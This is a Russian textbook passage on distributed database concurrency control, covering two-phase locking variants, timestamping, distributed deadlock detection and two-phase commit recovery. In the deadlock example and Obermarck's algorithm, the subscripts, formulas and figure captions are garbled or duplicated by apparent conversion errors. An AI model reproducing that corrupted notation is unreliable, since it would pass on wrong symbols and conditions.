Основываясь на приведенной выше общей схеме обработки распределенных транзакций, мы можем перейти к обсуждению протоколов управления параллельностью, обнаружения взаимных блокировок и восстановления.
Управление распределенной параллельностью
В этом разделе будут представлены протоколы, которые могут использоваться для организации управления параллельностью в распределенных СУБД. Однако прежде всего следует познакомиться с целями, которые стоят перед механизмом управления распределенной параллельностью.
Цели управления распределенной параллельностью
Если предположить, что в системе не существует отказов, то назначение механизма управления параллельностью будет состоять в предоставлении гарантий сохранения целостности данных и завершения каждого атомарного действия в пределах некоторого установленного промежутка времени. Кроме того, хороший механизм управления параллельностью в распределенной СУБД должен обеспечивать следующее:
устойчивость к отказам на сайте и в линиях связи;
высокий уровень параллельности, удовлетворяющий существующим требованиям производительности;
невысокий дополнительный уровень потребления времени процессора и других системных ресурсов;
удовлетворительные показатели работы с сетевыми соединениями, имеющими высокое значение времени задержки соединения;
отсутствие дополнительных ограничений на структуру атомарных действий (Kohler, 1981).
В разделе 17.2.1 мы обсудили те типы проблем, которые могут возникнуть, когда несколько пользователей имеют одновременный доступ к базе данных. К ним относятся проблемы потерянного обновления, зависимости от промежуточных результатов и несогласованности обработки. Все эти проблемы также имеют место и в распределенной среде, однако здесь существуют еще и трудности, вызванные распределенным хранением данных. Одна из них называется проблемой согласованности многих копий данных и возникает в тех случаях, когда существует больше одной копии некоторого элемента данных, размещенных в различных местоположениях. Очевидно, что для поддержки согласованности глобальной базы данных при обновлении реплицируемого элемента данных на одном из сайтов необходимо отразить это изменение и во всех остальных копиях данного элемента. Если обновление не будет отражено во всех копиях, база данных перейдет в несогласованное состояние. В данном разделе мы будем предполагать, что обновление реплицируемых элементов выполняется в системе синхронно, как часть транзакции, включающей исходную операцию обновления. В разделе 20.6 мы вернемся к этому вопросу и обсудим способы асинхронного проведения обновления реплицируемых элементов, т.е. через некоторое время после завершения транзакции, включающей исходную операцию обновления реплицируемого элемента данных.
Распределенная упорядоченность
Концепция упорядоченности, обсуждавшаяся нами в разделе 17.2.2, может быть расширена с целью ее применения и в случае распределенности среды хранения данных. Если график выполнения транзакций на каждом из сайтов является упорядоченным, то глобальный график (представляющий собой объединение всех локальных графиков) также будет упорядоченным и предоставляющим идентичную локальную упорядоченность. Для этого необходимо, чтобы все субтранзакции располагались в одном и том же порядке в эквивалентном последовательном графике на всех сайтах. Следовательно, если субтранзакцию Т| на сайте Sj обозначить как TJ, то следует гарантировать, что если TJ < Tjl, то TiX < TjX для всех сайтов Sx, на которых транзакции Т| и Tj имеют субтранзакции.
Решения по организации управления параллельностью в распределенной среде строятся на двух основных подходах: использовании механизма блокировок и использовании временных отметок. Оба они уже были рассмотрены нами в разделе 17.2 в отношении централизованных баз данных. Поэтому заданное множество транзакций может выполняться параллельно в одном из следующих случаев.
Механизм блокировки гарантирует, что график параллельного выполнения транзакций будет эквивалентен некоторому (непредсказуемому) варианту последовательного выполнения этих транзакций.
Механизм обработки временных меток гарантирует, что график параллельного выполнения транзакций будет эквивалентен конкретному варианту последовательного выполнения этих транзакций в соответствии с их временными метками.
Если база данных является либо централизованной, либо фрагментированной, но не использующей репликации данных, то в ней существует только одна копия каждого элемента данных. Поэтому все выполняемые в ней транзакции являются либо локальными, либо могут быть выполнены на одном из удаленных сайтов. В этом случае могут использоваться протоколы, обсуждавшиеся нами в разделе 17.2. Однако эти протоколы должны быть модифицированы, если в системе существует репликация данных или выполняются транзакции, включающие доступ к элементам данных, размещенным более чем на одном сайте. В случае применения протоколов, использующих механизм блокировок, дополнительно следует гарантировать устранение в системе ситуаций взаимных блокировок. Причем потребуется обнаружение взаимных блокировок не только на каждом из локальных уровней, но и на глобальном уровне, когда взаимная блокировка возникает при обращении к данным, размещенным на нескольких сайтах. Подробнее речь об этом пойдет в разделе 20.3.
Блокирующие протоколы
В этом разделе мы обсудим некоторые протоколы двухфазной блокировки (2PL), которые могут применяться для обеспечения упорядоченности графиков в среде распределенных СУБД. К ним относятся централизованный протокол двухфазной блокировки, двухфазная блокировка с первичными копиями, распределенный протокол двухфазной блокировки и блокирование большинства.
Централизованный протокол двухфазной блокировки
При использовании этого протокола существует единственный сайт, на котором сохраняется вся информация о блокировании элементов данных в системе (Alsberg and Day, 1976; Garsia-Molina, 1979). Соответственно во всей распределенной СУБД существует только один планировщик, или менеджер блокировки, способный устанавливать и снимать блокировку с элементов данных. При запуске глобальной транзакции на сайте Si централизованный протокол двухфазной блокировки работает следующим образом.
Координатор транзакций на сайте S2 разделяет глобальную транзакцию на несколько субтранзакций, используя информацию, сохраняемую в глобальном системном каталоге. Координатор отвечает за соблюдение согласованности базы данных. Если транзакция включает обновление реплицируемого элемента данных, координатор должен гарантировать, что все существующие копии этого элемента данных будут обновлены. Поэтому координатор должен потребовать установить блокировку для записи для всех существующих копий обновляемого элемента данных — только после этого он сможет приступить к обновлению каждой копии и ее освобождению. Для чтения обновляемого элемента данных координатор может выбрать любую из существующих копий. Обычно считывается локальная копия, если таковая существует.
Локальные менеджеры транзакций приступают к выполнению запросов этой глобальной транзакции и снимают блокировку элементов данных, обращаясь к центральному менеджеру блокировки с использованием обычных правил протокола двухфазной блокировки.
Центральный менеджер блокировки проверяет совместимость поступающих запросов на блокировку элементов данных с текущим состоянием блокировки этих элементов. Если это так, менеджер блокировки направляет на исходный сайт со-
общение, уведомляющее, что требуемая блокировка элемента данных установлена. В противном случае он помещает запрос в очередь, где он и находится вплоть до того момента, когда требуемая блокировка сможет быть предоставлена.
Вариантом этой схемы является случай, когда координатор транзакций выполняет все запросы на блокировку от имени локального менеджера транзакций. В этом случае менеджер запросов взаимодействует только с координатором транзакций, а не с отдельными локальными менеджерами транзакций.
Преимущество централизованного протокола двухфазной блокировки состоит в том, что его относительно просто реализовать. Обнаружение взаимных блокировок может выполняться теми же методами, что и в централизованных СУБД, поскольку вся информация о блокировках элементов находится в распоряжении единственного менеджера блокировок. Основной недостаток этой схемы связан с тем, что любая централизация в распределенной СУБД автоматически становится узким местом системы и резко снижает уровень ее надежности и устойчивости. Поскольку все запросы на блокировки элементов данных направляются на единственный центральный сайт, его быстродействие ограничивает возможности всей системы. Кроме того, отказ этого сайта вызовет паралич работы всей распределенной системы. Однако этой схеме свойствен относительно невысокий уровень затрат на передачу данных. Например, глобальная операция обновления, создающая агентов (субтранзакции) на п сайтах, при наличии центрального менеджера блокировок может потребовать отправки ему не менее 2п + 3 сообщений:
один запрос на блокировку;
одно сообщение о предоставлении блокировки;
п сообщений с требованием обновления;
п подтверждений о выполненном обновлении;
один запрос на снятие блокировки.
Двухфазная блокировка с первичными копиями
В этом варианте протокола попытка преодолеть свойственные централизованному двухфазному протоколу недостатки предпринимается за счет распределения единственного менеджера блокировки по нескольким сайтам. В данном случае каждый локальный менеджер отвечает за управление блокировкой некоторого набора элементов данных. Для каждого реплицируемого набора данных одна из копий выбирается в качестве первичной копии (primary сору), а все остальные расцениваются как ведомые (slave сору). Выбор первичного сайта может осуществляться по разным правилам, причем сайт, который выбран для управления блокировкой первичной копии данных, необязательно должен содержать саму эту копию (Stonebraker and Neuhold, 1977).
Данный протокол является простым расширением централизованного протокола двухфазной блокировки. Основное различие состоит в том, что когда элемент данных обновляется, координатор транзакций должен определить, где находится его первичная копия, и послать запрос на блокировку элемента соответствующему менеджеру блокировки. При обновлении элемента данных достаточно установить блокировку для записи только его первичной копии. После того как первичная копия будет обновлена, внесенные изменения могут быть распространены на все ведомые копии. Это распространение должно быть выполнено с максимально возможной скоростью, чтобы предотвратить чтение другими транзакциями устаревших значений данных. Однако нет необходимости выполнять все обновления как одну неделимую транзакцию. Данный протокол гарантирует актуальность значений только для первичной копии данных.
Подобный подход может использоваться в тех случаях, когда данные подвергаются репликации избирательно, обновление их происходит относительно нечасто, а сайты не нуждаются в использовании непременно текущей копии всех элементов данных. Недостатками данного подхода являются усложнение методов обнаружения взаимных блокировок в связи с наличием нескольких менеджеров блокировки, а также сохране-
ние в системе определенной степени централизации, поскольку запросы на блокировку первичной копии элемента могут быть выполнены только на единственном сайте. Последний недостаток может быть частично компенсирован за счет объявления резервных сайтов, содержащих копию информации о блокировании элементов. Данный протокол характеризуется меньшими затратами на передачу сообщений и более высоким уровнем производительности, чем централизованный протокол двухфазной блокировки, — в основном за счет снижения уровня удаленной блокировки.
Распределенный протокол двухфазной блокировки
В этом протоколе также предпринимается попытка преодолеть недостатки, свойственные централизованному протоколу двухфазной блокировки, но уже за счет размещения менеджеров блокировки на каждом сайте системы. В данном случае каждый менеджер блокировки отвечает за управление элементами данных, размещенными на его сайте. Если данные не подвергаются репликации, этот протокол функционирует аналогично протоколу двухфазной блокировки с первичными копиями. В противном случае распределенный протокол двухфазной блокировки использует особый протокол управления репликацией, получивший название “один раз считать, обновить всех” (Read-One-Write-All — ROW А). В этом случае для операций считывания может использоваться любая копия реплицируемого элемента, однако, прежде чем значение элемента можно будет обновить, должны быть заблокированы для записи все его существующие копии. В этой схеме управление блокировками осуществляется децентрализованным способом, что позволят освободиться от недостатков, свойственных централизованному управлению. Однако данному подходу свойственны иные недостатки, связанные с существенным усложнением методов выявления взаимных блокировок (из-за наличия многих менеджеров блокировки) и возрастанием издержек на пересылку данных, вызванных необходимостью блокировать все копии каждого обновляемого элемента. В данном протоколе выполнение глобальной операции обновления, имеющей агентов на п сайтах, потребует пересылки не менее 5п сообщений:
п сообщений с запросами на блокировку;
п сообщений с предоставлением блокировки;
п сообщений с требованием обновления элемента;
п сообщений с подтверждением выполненного обновления;
п сообщений с запросами на снятие блокировки.
Это количество сообщений может быть сокращено до 4п, если опустить запросы на снятие блокировки, которое в этом случае будет выполняться при обработке операции окончательной фиксации распределенной транзакции. Распределенный протокол двухфазной блокировки был использован в системе System R* (Mohan et al., 1986).
Блокирование большинства
Этот протокол можно считать расширением распределенного протокола двухфазной блокировки, в котором устраняется необходимость блокирования всех копий реплицируемого элемента данных перед его обновлением. В этом случае менеджер блокировки также имеется на каждом из сайтов системы, где он осуществляет управление блокировкой всех данных, размещаемых на этом сайте. Когда транзакции требуется считать или записать элемент данных, реплики которого имеются на п сайтах системы, она должна отправить запрос на блокирование этого элемента более чем на половину всех тех п сайтов, где имеются его копии. Транзакция не имеет права продолжать свое выполнение, пока она не установит блокировку большинства копий элемента данных. Если ей не удастся это сделать за некоторый установленный промежуток времени, она отменяет свои запросы и информирует все сайты об отмене ее выполнения. Если большинство будет получено, все сайты информируются о том,
что требуемый уровень блокировки достигнут. Поскольку блокировка для чтения является разделяемой, любое количество транзакций может одновременно установить блокировку этого типа для большей части копий одного и того же элемента данных. Однако только одна из транзакций сможет установить необходимое количество блокировок копий элемента для записи (Thomas, 1979).
В этом случае также устраняются все недостатки, свойственные централизованному подходу. Однако данному протоколу свойственны собственные недостатки, заключающиеся в повышенной сложности алгоритма, усложнении процедур выявления взаимной блокировки, а также необходимости отправки не менее [(п + 1)/2] сообщений с запросами на установление блокировки и [(п + 1)/2] сообщений с запросами на отмену блокировки. Метод успешно работает, однако он показывает себя излишне жестким в отношении блокировок для чтения. Для выполнения чтения достаточно установить блокировку лишь одной копии элемента данных, а именно той, которая будет прочитана. Однако особенностью данного метода является обязательное требование выполнить блокировку большей части имеющихся копий элемента данных.
Протоколы с временными отметками
Мы уже обсуждали протоколы для централизованных баз данных, использующие временные отметки, в разделе 17.2.5. Задачей подобных протоколов является глобальное упорядочивание транзакций, выполняемое таким образом, что более старые транзакции (имеющие меньшую временную отметку) в случае конфликта получают приоритет. В распределенной среде также необходимо будет генерировать уникальные значения временных отметок, причем как локально, так и глобально. Очевидно, что использование на каждом сайте системных часов или накапливаемого счетчика событий (как предлагалось в разделе 17.2.5) уже не является подходящим решением. Часы на каждом сайте могут быть недостаточно синхронизированы, а при использовании счетчиков событий ничто не мешает генерации одних и тех же значений счетчика одновременно на разных сайтах.
Общим подходом в распределенных СУБД является конкатенация локальной временной отметки с уникальным идентификатором сайта по схеме <локальная_отметка, идентификатор_сайта>. Значение идентификатора сайта будет иметь меньший вес, что гарантирует упорядочивание событий в соответствии с моментом их возникновения и лишь затем в соответствии с местом их появления. Чтобы предотвратить генерацию более загруженными сайтами больших значений временных меток в сравнении с недогруженными сайтами, необходимо использовать определенный механизм синхронизации значений временных меток сайтов. Каждый сайт помещает свою текущую временную метку в сообщения, посылаемые на другие сайты. При получении сообщения сайт- получатель сравнивает текущее значение его временной метки с полученным и, если его текущая временная метка оказывается меньше, меняет ее значение на некоторое другое, превосходящее то значение временной метки, которое было получено им в сообщении.
Распределенная взаимная блокировка
Любые алгоритмы управления параллельностью, использующие механизм блокировки (и некоторые алгоритмы с использованием временных отметок, помещающие транзакции в состояние ожидания), могут приводить к появлению в системе ситуации взаимной блокировки процессов (см. раздел 17.2.4). В распределенной среде выявление взаимной блокировки существенно усложняется, если управление блокировкой объектов не является централизованным, что демонстрируется в приведенном ниже примере.
Пример 20.1. Взаимная блокировка в распределенной среде
Рассмотрим три транзакции, Тн Т2 и Т3, имеющие следующие характеристики:
транзакция ТтзапускаетсянасайтеSjи создает агента насайте S2;
транзакция Т2запускаетсянасайтеS2и создает агента насайте S3;
транзакция Т3запускаетсянасайтеS3и создает агента насайте Sp
Эти транзакции устанавливают блокировки для чтения и записи по приведенной ниже схеме, где обозначение read lock(Tif х.,) означает установку транзакцией Ti блокировки элемента данных x-j для чтения, а обозначение write_lock(Tir х^) означает установку транзакцией Т£ блокировки элемента данных Xj для записи.
Время
Сайт Sj
Сайт S2
Сайт S3
ti
readJLock (Tlz xj
write_lock(T2, y2)
read-lock (T3, z3)
t2
write_lock(Tlz yj
write_lock(T2, z2)
*3
write lock(T3, xj
write lock(Tlz y2)
write lock(T2, z3)
Для каждого из сайтов мы можем построить граф ожидания (как показано на рис. 20.2).
Ни один из этих локальных графов не содержит циклов, что может быть расценено как свидетельство отсутствия в системе процессов взаимных блокировок. Однако это не так, поскольку после объединения индивидуальных графов в единый глобальный граф ожидания, представленный на рис. 20.3, в нем обнаруживается петля, указывающая на наличие взаимной блокировки по следующей схеме:
Тз Т1 _^ т2 Тз
Сайт SiСайт SiРис. 20.2. Графы ожидания для сайтов Sb S2 и S3Рис. 20.2. Графы ожидания для сайтов Sb S2 и S3Сайт S3Сайт S3Сайт S2Сайт S2Рис. 20.3. Комбинированный граф ожидания для сайтов S^ S2 и S3Рис. 20.3. Комбинированный граф ожидания для сайтов S^ S2 и S3
Сайт Si
Сайт Si
Рис. 20.2. Графы ожидания для сайтов Sb S2 и S3
Рис. 20.2. Графы ожидания для сайтов Sb S2 и S3
Сайт S3
Сайт S3
Сайт S2
Сайт S2
Рис. 20.3. Комбинированный граф ожидания для сайтов S^ S2 и S3
Рис. 20.3. Комбинированный граф ожидания для сайтов S^ S2 и S3
Приведенный выше пример показывает, что в распределенной СУБД для выявления ситуаций взаимной блокировки недостаточно использовать,обычные графы ожидания, построенные на каждом из сайтов локально. Необходимо также строить глобальный граф ожидания, представляющий собой объединение всех локальных графов ожидания. Существуют три общих метода выявления взаимных блокировок в распределенных СУБД: централизованный, иерархический и распределенный.
Централизованный метод выявления взаимных блокировок
При централизованном выявлении взаимных блокировок один из сайтов системы назначается координатором выявления взаимных блокировок (Deadlock Detection Coordinator, DDC). Сайт DDC отвечает за построение и обработку глобального графа ожидания. С определенным интервалом каждый менеджер блокировки в системе направляет в адрес DDC свой локальный граф ожидания. Сайт DDC выполняет построение глобального графа ожидания и проверяет его на наличие циклов. Если граф ожидания содержит один или более циклов, DDC должен разрушить их, выбрав те транзакции, которые должны быть отменены с выполнением отката, а затем перезапущены. В обязанности DDC входит информирование всех сайтов, принимающих участие в обработке отменяемых транзакций, о том, что последние необходимо отменить и перезапустить.
Для минимизации количества пересылаемых данных каждый менеджер блокировки посылает в адрес DDC только сведения об изменениях в локальном графе ожидания, произошедших с момента предыдущей отправки сведений. Посылаемые сведения включают информацию только о добавлении или удалении ребер в локальном графе ожидания. Недостатком централизованного подхода является то, что он снижает надежность всей системы, поскольку отказ центрального сайта может вызвать большие проблемы в функционировании всей системы.
Иерархический метод выявления взаимных блокировок
При иерархическом методе выявления взаимных блокировок в системе сайты в сети образуют некоторую иерархию. Каждый из сайтов для выявления наличия взаимных блокировок посылает свой локальный граф ожидания на сайт, расположенный в иерархии на уровень выше его (Menasce and Muntz, 1979). На рис. 20.4 представлена иерархия из восьми сайтов, от ST до S8. Первый уровень иерархии образуют все восемь сайтов, каждый из которых выполняет локальный контроль наличия взаимных блокировок. Второй уровень образуют узлы DD^, выполняющие обнаружение взаимных блокировок для соседней пары сайтов Si и Sr Третий уровень образуют узлы, выполняющие контроль взаимных блокировок на четырех соседних узлах. Корнем дерева является глобальный детектор взаимных блокировок, способный обнаружить взаимную блокировку между любыми сайтами системы, например между сайтами Si и S8.
Рис. 20.4. Схема построения иерархического механизма вы
,явления взаимных блокировок
Иерархический подход сокращает зависимость выявления взаимных блокировок от центрального сайта, а также способствует снижению издержек на передачу данных. Однако его реализация намного сложнее, особенно с учетом возможности отказов отдельных сайтов и линий связи.
Распределенный метод выявления взаимных блокировок
Существуют различные варианты алгоритмов распределенного выявления взаимных блокировок, однако здесь мы рассмотрим только наиболее популярный из них — метод выявления взаимных блокировок, разработанный Обермарком (Obermarck, 1982). В этом методе к локальному графу ожидания добавляется внешний узел Text, отражающий наличие агента на удаленном сайте. Когда транзакция Tj на сайте S2 создает агента на другом сайте, например S2, то к локальному графу ожидания добавляется ребро, соединяющее узел Т2 с узлом Text. Аналогичным образом на сайте S2 к локальному графу добавляется ребро, соединяющее узел Text с узлом Тр
Например, глобальный граф ожидания, показанный на рис. 20.3, может быть представлен в виде локальных графов ожидания на сайтах Sp S2 и S3, как показано на рис. 20.5. Ребра, соединяющие узлы локального графа с узлом Text, помечены с указанием имен соответствующего сайта. Например, ребро, соединяющее узлы Т3 и Text на сайте Sp помечается меткой S2, поскольку данное ребро представляет агента, созданного транзакцией Т2 на сайте S2.
Если локальный граф ожидания содержит цикл, не включающий узел Text, то на сайте существует локальная ситуация взаимной блокировки. Если цикл на локальном графе ожидания включает узел Text, то потенциально в системе может присутствовать ситуация глобальной взаимной блокировки. Однако существование подобного цикла не обязательно означает наличие глобальной взаимной блокировки, поскольку узел Text может представлять несколько различных агентов. Тем не менее при действительном наличии глобальной взаимной блокировки подобная петля в локальном графе присутствует обязательно. Для уточнения, действительно ли имеет место глобальная взаимная блокировка, локальные графы должны быть слиты. Если для сайта S2 потенциально возможна глобальная взаимная блокировка, то его локальный граф ожидания будет иметь следующий вид:
Text Т2 -> Tj -> ... Tk -> Text
СайтЗ)Сайт $2Сайт S3
Рис. 20.5. Распределенный метод выявления глобальной взаимной блокировки
Для того чтобы предотвратить взаимную пересылку сайтами их графов ожидания, используется простой алгоритм. По этому алгоритму каждой из транзакций присваивается временная отметка и устанавливается правило, согласно которому сайт S2 пересылает свой граф ожидания только тому сайту, скажем Sk, на котором ожидает транзакция Тк. Другими словами, если ^(TJ < ts(Tk). Если обнаруживается, что ts(Ti) < ts(Tk), то Для проверки наличия взаимной блокировки сайт S2 должен переслать свой локальный граф ожидания на сайт Sk. Сайт Sk добавляет полученную информацию к своему локальному графу ожидания и проверяет результат на наличие циклов, не включающих узел Text. Если подобных циклов не обнаружено, процесс продолжается либо до появления цикла (и в этом случае одна или более транзакций
откатываются и перезапускаются с повторным созданием агентов), либо до построения полного глобального графа ожидания, не содержащего циклов. В последнем случае взаимные блокировки в системе отсутствуют. Обермарк доказал, что если в системе существует глобальная взаимная блокировка, то описанная выше процедура непременно вызовет появление цикла в графе ожидания одного из сайтов.
Три локальных графа ожидания, показанные на рис. 20.5, содержат следующие циклы:
Text —^ Т3 —> Тт —> Text
Text Т1 Т2 -> Text
Text -> Т2 —> Т3 Text
В данном примере локальный граф ожидания сайта S} может быть отослан на тот сайт, на котором ожидает транзакция Т^ т.е. на сайт S2. Локальный граф ожидания сайта S2 пополняется полученной информацией и приобретает следующий вид:
^2* Text —> Т3 —> ?! —> Т2 —> Text
Этот граф также указывает на возможность существования в системе взаимной блокировки, поэтому сайт S2 отсылает свой граф ожидания на тот сайт, на котором ожидает транзакция Т2, а именно на сайт S3. Локальный граф ожидания сайта S3 пополняется поступившей информацией и приобретает такой вид:
S3: Text Т3 —> ?! -> Т2 -> т3 -^ Text
Этот глобальный граф ожидания содержит цикл, не включающий узел Text. В результате можно сделать вывод о наличии в системе ситуации взаимной блокировки и предпринять необходимые меры для ее устранения. Распределенный метод выявления взаимной блокировки потенциально более устойчив, чем иерархический и централизованный методы, однако поскольку ни один из сайтов не содержит всей информации, необходимой для выявления ситуации взаимной блокировки, это может явиться причиной повышенного уровня обмена информацией между сайтами.
Восстановление распределенных баз данных
В этом разделе мы обсудим протоколы, которые используются для обработки отказов, возникающих в распределенной вычислительной среде.
Отказы в распределенной среде
В разделе 19.5.2 были названы четыре типа отказов, которые характерны для распределенных СУБД:
потеря сообщения;
отказ линии связи;
аварийный останов одного из сайтов;
расчленение сети.
Потеря сообщений или неверная упорядоченность их поступления контролируется используемым базовым сетевым протоколом. Поэтому мы можем сделать законное предположение о прозрачности обработки этих ошибок для компонента передачи данных СУРБД. Ниже мы сосредоточим внимание только на оставшихся трех типах отказов.
Функционирование СУРБД в значительной мере зависит от надежного взаимодействия всех сайтов в сети. В недалеком прошлом линии связи часто оказывались недостаточно надежными. Хотя с тех пор сетевые технологии были существенно улучшены и надежность сетей значительно возросла, тем не менее, отказы линий связи по-прежнему имеют место. В частности, отказ линии связи может привести к расчленению сети на от-
дельные фрагменты, в результате чего сайты одного фрагмента смогут взаимодействовать, но не будут иметь доступа к сайтам в другом фрагменте. Пример подобной ситуации показан на рис. 20.6. Здесь исходная распределенная система из пяти сайтов, показанная на рис. 20.6, а, в результате отказа линии связи между сайтами 1 и 2 была расчленена на два фрагмента: сайты 1, 4, 5 и сайты 2, 3 — как показано на рис. 20.6, б.
(а)(б)
Рис. 20.6. Расчленение сети: а) исходное состояние сети до отказа; б) состояние сети после отказа линии связи
В некоторых случаях бывает трудно установить, что именно отказало — линия связи или сайт, с которым она соединена. Например, предположим, что сайт 5г не может взаимодействовать с сайтом S2 в пределах установленного временного интервала (тайм-аута). Причиной этому может служить любая из следующих ситуаций:
сайт S2 не функционирует или нарушена работа сети;
отказ в линии связи:
имеет место расчленение сети;
сайт S2 в настоящее время перегружен и не способен ответить на поступившее сообщение в пределах установленного тайм-аута.
Выбор корректного значения тайм-аута, которое с уверенностью позволит утверждать о действительной невозможности взаимодействия двух сайтов, является непростой задачей.'
Влияние отказов на процедуры восстановления
Как и в случае локального управления восстановлением, распределенные средства восстановления предназначены для обеспечения свойств атомарности и длительности распределенных транзакций. Для достижения атомарности глобальных транзакций СУРБД должна гарантировать, что субтранзакции глобальной транзакции будут либо все зафиксированы, либо все отменены. Если СУРБД обнаружит, что некоторый сайт отказал или стал недоступен, она должна будет выполнить следующие действия.
Отменить выполнение всех транзакций, затронутых данным отказом.
Отметить сайт как отказавший, чтобы предотвратить любые попытки его использования другими сайтами.
Периодически проверять состояние отказавшего сайта для восстановления его функционирования или же, наоборот, ожидать поступления от этого сайта широковещательного сообщения с указанием о восстановлении его нормальной работы.
При перезапуске сайта после отказа на нем должна выполняться процедура восстановления, предназначенная для отката любых транзакций, выполненных на момент отказа лишь частично.
После завершения процедуры локального восстановления отказавший сайт должен обновить свою копию базы данных, чтобы привести ее в соответствие с остальной частью системы.'
Если имеет место расчленение сети, как в приведенном выше примере, СУРБД должна гарантировать, что если агенты некоторой глобальной транзакции оказались активными в разных фрагментах, то сайт Sj и другие сайты одного фрагмента должны быть лишены возможности зафиксировать результаты этой глобальной транзакции, поскольку сайт S2 и прочие сайты другого фрагмента могут принять решение выполнить ее откат. В результате атомарность глобальной транзакции будет нарушена.
Распределенные протоколы восстановления
Как уже упоминалось выше, процессы восстановления в распределенных СУБД усложняются тем фактом, что соблюдение свойства атомарности требуется как в отношении локальных субтранзакций, так и всей глобальной транзакции в целом. Механизмы восстановления, описанные в разделе 17.3, гарантируют атомарность лишь субтранзакций, тогда как СУРБД необходимо гарантировать и атомарность всей глобальной транзакции. По этой причине в процедуры фиксации и отката транзакций необходимо внести такие изменения, которые не позволят глобальной транзакции зафиксировать или отменить результаты ее выполнения, пока все ее субтранзакции не будут успешно зафиксированы или отменены. Кроме того, модифицированные протоколы должны обрабатывать ситуации отказа сайта или линии связи таким образом, чтобы гарантировать, что отказ одного из сайтов не окажет влияния на обработку данных на другом сайте. Другими словами, работоспособные сайты не должны оказаться заблокированными из-за отказа других сайтов. Протоколы, обеспечивающие выполнение последнего требования, называются неблокирующими. В этом разделе мы рассмотрим два широко распространенных протокола фиксации транзакций, которые могут использоваться в среде СУРБД: протокол двухфазной фиксации транзакций (2РС) и неблокирующий протокол трехфазной фиксации транзакций (ЗРС).
Мы будем предполагать, что каждая глобальная транзакция связана с некоторым сайтом, функционирующим как координатор выполнения этой транзакции. Обычно координатором является тот сайт, на котором транзакция была инициирована. Сайты, на которых глобальная транзакция создала агентов, мы будем называть участниками. Предполагается, что координатор транзакции знает идентификаторы всех участников, а каждый участник знает идентификатор координатора, но не обязан знать идентификаторы остальных участников.
Двухфазная фиксация транзакций (2PC)
Как следует из названия данного протокола, фиксация результатов транзакций выполняется в два этапа: этап голосования (voting phase) и принятия решения (decision phase). Основная идея состоит в том, что координатор должен опросить всех участников, готовы ли они к фиксации транзакции. Если хотя бы один из участников потребует отката или не ответит на запрос в пределах установленного тайм-аута, координатор укажет всем участникам на необходимость выполнить откат данной транзакции. Глобальное решение должно быть принято всеми участниками. Если некоторый участник требует отката транзакции, то он имеет право выполнить его немедленно. Фактически любой сайт имеет право откатить свою субтранзакцию в любое время, вплоть до того момента, пока он не пошлет согласие на ее фиксацию. Подобный тип отката называют односторонним откатом. Если участник проголосовал за фиксацию транзакции, то он должен ожидать до тех пор, пока координатор не пошлет широковещательное сообщение либо о глобальной фиксации, либо о глобальном откате этой транзакции. Данный протокол предполагает, что каждый сайт имеет свой собственный локальный журнал и с его помощью может надежно откатить или зафиксировать транзакцию. Двухфазный протокол фиксации транзакций включает этап ожидания сообщения от других сайтов. Во избежание нежелательных блокировок процессов система использует механизм обнаружения тайм-аута. Для фиксации глобальной транзакции координатор выполняет следующую процедуру.
Фаза 1
Занести запись beg in_ comm it в системный журнал и обеспечить ее перенос из буфера во вторичную память. Послать всем участникам команду PREPARE. Ожидать ответов всех участников в пределах установленного тайм-аута.
Фаза 2
Если участник возвращает сообщение ABORT, поместить в системный журнал запись abort и обеспечить ее перенос из буфера во вторичную память. Послать всем участникам команду GLOBAL_ABORT. Ожидать ответов всех участников в пределах установленного тайм-аута.
Если участник возвращает сообщение READY COMMIT, обновить список участников, приславших свои ответы. Если ответы прислали все участники, поместить в системный журнал запись commit и обеспечить ее перенос из буфера во вторичную память. Послать всем участникам команду GLOBAL_COMMIT. Ожидать ответов всех участников в пределах установленного тайм-аута.
После поступления всех подтверждений о фиксации транзакции поместить в системный журнал запись end_transaction. Если некоторые сайты не прислали подтверждения о фиксации, заново направить на эти сайты сообщение о принятом глобальном решении и поступать по этой схеме до получения всех требуемых подтверждений.
Координатор должен ждать поступления результатов голосования от всех участников. Если сайт не прислал сообщения с его решением, координатор по умолчанию предполагает поступление от этого сайта решения об откате транзакции и рассылает всем участникам широковещательное сообщение GLOBAL_ABORT. Вопрос о действиях, которые должен предпринять участник при рестарте после отказа, мы рассмотрим чуть ниже. При фиксации транзакции участник выполняет следующую процедуру.
При получении участником команды PREPARE он выполняет одно из следующих действий:
помещает запись ready_commit в файл журнала и переносит из буфера во вторичную память все записи, относящиеся к данной транзакции. Отправляет координатору сообщение READY COMMIT;
помещает запись abort в файл журнала и переносит ее из буфера во вторичную память. Отправляет координатору сообщение ABORT. Выполняет односторонний откат транзакции.
Ожидает ответа координатора в пределах установленного тайм-аута.
Если участник получает команду GLOBAL_ABORT, то он помещает запись abort в файл журнала и переносит ее из буфера во вторичную память. Затем выполняется откат транзакции и по его завершении координатору посылается соответствующее подтверждение.
Если участник получает команду GLOBAL_COMMIT, то он помещает запись commit в файл журнала и переносит ее из буфера во вторичную память. Затем выполняется фиксация транзакции, освобождение всех установленных и удерживаемых блокировок, после чего координатору посылается соответствующее подтверждение.
Если участнику не удалось получить от координатора команду с результатами проведения голосования, то по истечении установленного тайм-аута он просто откатывает данную транзакцию. Следовательно, еще до поступления команды с результатами голосования участник может принять решение об откате субтранзакции и выполнить его. Все описанные процедуры взаимодействия координатора и участника представлены на рис. 20.7.
Участник должен ожидать поступления от координатора команды GLOBAL_COMMIT или GLOBAL_ ABORT. Если в пределах установленного тайм-аута он не получит никакой команды или координатор не получит ответа от участника, то предполагается, что на соответствующем сайте произошел отказ и в работу запускается протокол ликвидации (termination protocol). Только функционирующие сайты выполняют протокол ликвидации, на отказавших сайтах после рестарта выполняется протокол восстановления.
